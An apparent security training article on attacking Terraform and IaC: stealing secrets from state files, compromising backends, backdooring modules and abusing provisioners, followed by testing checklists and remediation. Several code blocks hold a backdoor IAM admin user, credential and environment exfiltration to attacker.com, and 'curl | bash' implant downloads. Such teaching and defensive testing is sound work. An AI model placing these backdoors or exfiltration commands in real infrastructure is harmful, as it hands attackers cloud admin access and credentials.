10 min read

Advanced

IaC & Terraform Attacks

Infrastructure as Code defines entire cloud environments. State files contain secrets, provider configs enable privilege escalation, and malicious modules can backdoor everything.

State File = Crown Jewels

Terraform state files contain ALL secrets in plaintext - database passwords, API keys, private keys. A leaked state file is a complete environment compromise.

IaC Attack Surface

📁 State Files

  • Plaintext secrets
  • Resource IDs & ARNs
  • Network configurations
  • Often in S3/Azure Blob (misconfigured)

📦 Modules

  • Supply chain via module sources
  • Typosquatting on registries
  • Backdoored community modules

🔑 Provider Configs

  • Hardcoded credentials
  • Overprivileged IAM roles
  • Assume role chains

🔄 CI/CD Integration

  • Plan output shows secrets
  • Apply runs with cloud admin
  • PR-based plan poisoning

State File Exploitation

Extracting Secrets from State
# State files contain ALL sensitive data in plaintext!

# 1. Find state files
# Local
find . -name "*.tfstate" -o -name "*.tfstate.backup"

# S3 (common misconfiguration: public bucket)
aws s3 ls s3://company-terraform-state/
aws s3 cp s3://company-terraform-state/prod/terraform.tfstate .

# Azure Storage (check for public access)
az storage blob list --container-name tfstate --account-name companytfstate

# 2. Extract secrets from state
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes.password'

# Common secret locations in state:
# - aws_db_instance: password
# - aws_iam_access_key: secret
# - tls_private_key: private_key_pem
# - random_password: result
# - aws_secretsmanager_secret_version: secret_string

# Dump all sensitive attributes
cat terraform.tfstate | jq -r '.. | .password?, .secret?, .private_key?, .secret_string? | select(. != null)'

State Backend Attacks

Compromising Remote Backends
# Terraform backends often misconfigured

# S3 Backend - Check for:
# 1. Public bucket
aws s3 ls s3://company-terraform --no-sign-request

# 2. Bucket allows unauthenticated writes (rare but devastating)
aws s3 cp malicious.tfstate s3://company-terraform/prod/terraform.tfstate

# 3. Overly permissive IAM policies
# If you have ANY AWS access, check if you can read state bucket

# Azure Backend
# Check storage account network rules
az storage account show -n companytfstate --query networkRuleSet

# Terraform Cloud / Enterprise
# Leaked API tokens give full access
curl -H "Authorization: Bearer TF_TOKEN" \
  https://app.terraform.io/api/v2/organizations

# List workspaces
curl -H "Authorization: Bearer TF_TOKEN" \
  "https://app.terraform.io/api/v2/organizations/ORG/workspaces"

# Download state
curl -H "Authorization: Bearer TF_TOKEN" \
  "https://app.terraform.io/api/v2/workspaces/WS_ID/current-state-version" | \
  jq -r '.data.attributes["hosted-state-download-url"]'

Terraform State File Attack Flow

Discovering the state backend forks on access: a misconfigured ACL reads the state directly, a denial sends you to SSRF or the instance metadata service. Either way the read ends in extracted secrets or in a rewritten state the next apply deploys.

Scroll sideways to see the whole diagram

Malicious Module Injection

Supply Chain Attack

Terraform modules are like npm packages - if you can poison the source, everyone who uses the module gets compromised.
Backdoored Terraform Module
# Malicious module that creates a backdoor IAM user
# modules/vpc/main.tf (looks like normal VPC module)

resource "aws_vpc" "main" {
  cidr_block = var.cidr_block
  # ... normal VPC config
}

# Hidden backdoor - creates attacker access
resource "aws_iam_user" "backdoor" {
  name = "terraform-state-manager"  # Looks legitimate
  tags = {
    ManagedBy = "Terraform"
  }
}

resource "aws_iam_user_policy_attachment" "backdoor" {
  user       = aws_iam_user.backdoor.name
  policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
}

resource "aws_iam_access_key" "backdoor" {
  user = aws_iam_user.backdoor.name
}

# Exfil the keys during apply
resource "null_resource" "exfil" {
  provisioner "local-exec" {
    command = "curl -X POST -d 'key=${aws_iam_access_key.backdoor.id}&secret=${aws_iam_access_key.backdoor.secret}' https://attacker.com/collect"
  }
}

Provisioner Abuse

RCE via Provisioners
# Provisioners run commands during apply
# local-exec runs on the Terraform runner (CI/CD agent!)
# remote-exec runs on provisioned resources

# Backdoor via local-exec (runs on CI runner)
resource "null_resource" "backdoor" {
  provisioner "local-exec" {
    command = <<EOT
      # Exfil CI/CD secrets
      env | curl -X POST -d @- https://attacker.com/env
      
      # Establish persistence
      curl https://attacker.com/beacon.sh | bash
      
      # Steal cloud credentials from CI runner
      cat ~/.aws/credentials | curl -X POST -d @- https://attacker.com/aws
    EOT
  }
}

# Remote-exec on newly created instance
resource "aws_instance" "web" {
  # ... instance config
  
  provisioner "remote-exec" {
    inline = [
      "curl https://attacker.com/implant.sh | sudo bash",
    ]
    
    connection {
      type        = "ssh"
      user        = "ubuntu"
      private_key = tls_private_key.ssh.private_key_pem
      host        = self.public_ip
    }
  }
}

Plan Output Secrets

Secrets in Plan Output
# terraform plan can leak secrets in CI logs!

# Even with sensitive = true, plan shows:
# - Resource changes that include secrets
# - Data source outputs
# - Module outputs

# Force plan to show all secrets (for extraction)
terraform plan -json | jq '.resource_changes[] | select(.change.after.password != null)'

# In CI/CD, check plan artifacts or logs for:
# + password = "SuperSecretPassword123!"
# + secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

# Targeted extraction from plan
terraform plan -out=plan.bin
terraform show -json plan.bin | jq '.planned_values.root_module.resources[] | {type, values}'

Provider Credential Theft

Exploiting Provider Configurations
# Providers often configured with hardcoded or env-based creds

# Check for hardcoded creds in .tf files
grep -r "access_key|secret_key|password|token" *.tf

# Environment variables set during CI/CD
# If you can inject into the pipeline:
env | grep -i "AWS|AZURE|GOOGLE|TF_VAR"

# AWS provider credential chain:
# 1. Inline in provider block (worst practice)
# 2. Environment variables (AWS_ACCESS_KEY_ID)
# 3. Shared credentials file (~/.aws/credentials)
# 4. IAM role (instance profile / OIDC)

# Steal credentials from provider config
terraform providers -json | jq '.provider_configs'

# If using assume_role, you might be able to assume it too:
# provider "aws" {
#   assume_role {
#     role_arn = "arn:aws:iam::123456789:role/TerraformAdmin"
#   }
# }
# If you have any AWS creds in the account, try assuming this role

Enumeration

Terraform Recon Commands
# Find Terraform files
find . -name "*.tf" -o -name "*.tfvars" -o -name "*.tfstate"

# Check for sensitive data in tfvars
cat *.tfvars terraform.tfvars

# Find backend configuration
grep -r "backend" *.tf
grep -A10 'backend "s3"' *.tf
grep -A10 'backend "azurerm"' *.tf

# Find module sources (potential supply chain)
grep -r "sources*=" *.tf | grep -v ".terraform"

# Check for hardcoded secrets
grep -r "password|secret|key|token" *.tf *.tfvars

# Terraform Cloud/Enterprise tokens
cat ~/.terraform.d/credentials.tfrc.json
echo $TF_TOKEN

# State file locations
cat backend.tf  # Check remote state config
ls -la .terraform/  # Local state cache

Tools

Real-World: Exposed Terraform State in S3

Numerous organizations have been breached through publicly accessible S3 buckets containing Terraform state files. State files store all resource attributes in plaintext, including database passwords, API keys, and TLS certificates. In 2023, researchers found thousands of exposed state files via simple S3 enumeration.

IaC & Terraform Attack Labs

Practice Terraform state exploitation and IaC security hardening.

Terraform State File Extraction Custom Lab medium
Deploy a Terraform project with state stored in an S3 bucketMisconfigure the bucket ACL to simulate a real-world exposureDownload the tfstate file and extract plaintext credentialsUse extracted database credentials to access an RDS instanceFix: Enable S3 encryption, bucket policy, and state locking with DynamoDB
Malicious Terraform Provider Custom Lab hard
Create a custom Terraform provider that executes arbitrary commandsHost it on a registry and reference it in a shared moduleterraform init downloads and trusts the providerDemonstrate code execution during plan and apply phasesImplement provider signing verification and .terraformrc allow lists

📋 Framework Alignment

OWASP CI/CD: CICD-SEC-7 (Insecure System Configuration), CICD-SEC-6 (Insufficient Credential Hygiene) | MITRE ATT&CK: T1552.001 (Credentials In Files), T1580 (Cloud Infrastructure Discovery) | CIS Controls: 4.1 (Secure Configuration), 16.1 (Software Development Process)

Evidence to Capture

Terraform state is a database of every attribute you have provisioned, so the evidence is a path into that database rather than a copy of it. Quote the attribute address and the access, never the value.

Backend and state identity: Backend type and location (bucket, container or workspace), with the state lineage and serial so you can prove which revision you read.

Attribute address: The resource address and attribute path, for example aws_db_instance.app.attributes.password. Anyone with access can resolve it; nobody needs the plaintext in the report.

Access path: The identity and role you used to read the state, from which network, plus the storage access log entry that records it.

Module and provider provenance: Module source URL with its ?ref= pin, provider source and version constraint, and the .terraform.lock.hcl hash for the provider build in use.

Plan artefact: The plan file or JSON output you inspected, with the commit and pipeline run that produced it, so the client can map it to a specific approval.

Apply identity: The identity that runs apply and the log line for the run you are reporting on, because provider and provisioner findings execute as that identity, not as you.

Likely False Positives

State always contains secrets. The finding is exposure or execution, and both are testable before you write them up.

  • Backend is private and logged: State in an encrypted bucket with a denying public policy, versioning and access logging still holds secrets, but nobody unentitled read it. Report it as hardening, not exposure.
  • Values are already rotated: A password in state that no longer authenticates is stale data. Test before claiming a credential compromise.
  • Redacted plan output: A plan that prints (sensitive value) protects the log, not the state. The value is still in the file, so this is a note about where secrets live rather than a leak.
  • Reviewed provisioner in a pinned module: A local-exec inside a module you maintain, pinned by hash and reviewed at that commit, is a risk to manage, not an active backdoor.
  • Read denied, in fact: A workspace or bucket that returns access denied is a closed path. Confirm with a real call rather than assuming a misconfiguration.
  • Provider locked to a verified build: A committed lock file with a hash for the exact provider build prevents a substituted release from installing, so provider substitution requires breaking the lock first.

Testing Checklist

State exposure

  • ☐ Every backend configuration located and read
  • ☐ Bucket or container policy tested from an unauthenticated context
  • ☐ Encryption at rest and key ownership recorded
  • ☐ Versioning and access logging confirmed
  • ☐ State locking configured (and the lock table protected)
  • ☐ Workspaces enumerated with who may read each one

Supply chain

  • ☐ Module sources listed with their ref or version pins
  • ☐ Lock file present, committed and matched to the installed providers
  • ☐ Provider registry and signing requirements reviewed
  • ☐ Third-party modules reviewed for provisioners and null resources
  • ☐ Registry namespace confusion checked for public module names
  • ☐ CI identity allowed to init and apply recorded

Apply-time execution

  • ☐ local-exec and remote-exec provisioners enumerated across all modules
  • ☐ Secrets printed by plan or apply located in the log retention window
  • ☐ Who can merge to the branch that apply tracks
  • ☐ Approval gates between plan and apply recorded
  • ☐ Environment variables readable by the apply job listed
  • ☐ Cloud audit trail for resources created by the apply retrieved

Remediation

State protection

  • • Encrypt state at rest with a customer-managed key and deny public access at the bucket or container policy, not at the object ACL.
  • • Enable versioning and access logging on the backend, so a read leaves a record and a bad write can be recovered.
  • • Generate secrets outside state where the provider allows it: fetch from a vault at runtime or use ephemeral values rather than provisioning them as attributes.
  • • Keep state access to the pipeline identity only, with a documented break-glass path for humans.

Supply chain and apply

  • • Pin modules to a commit with ?ref= and commit the provider lock file, so a moved tag cannot change what init installs.
  • • Review third-party modules for provisioners before adopting them, and forbid new provisioners in first-party modules as a policy.
  • • Give the apply identity the narrowest role that can manage the resources in that workspace, with a plan-only identity for pull requests.
  • • Send plan output and apply logs to a retained, access-controlled store, and redact sensitive variables at the pipeline level rather than in the report.

CWE References: CWE-312, CWE-494, CWE-829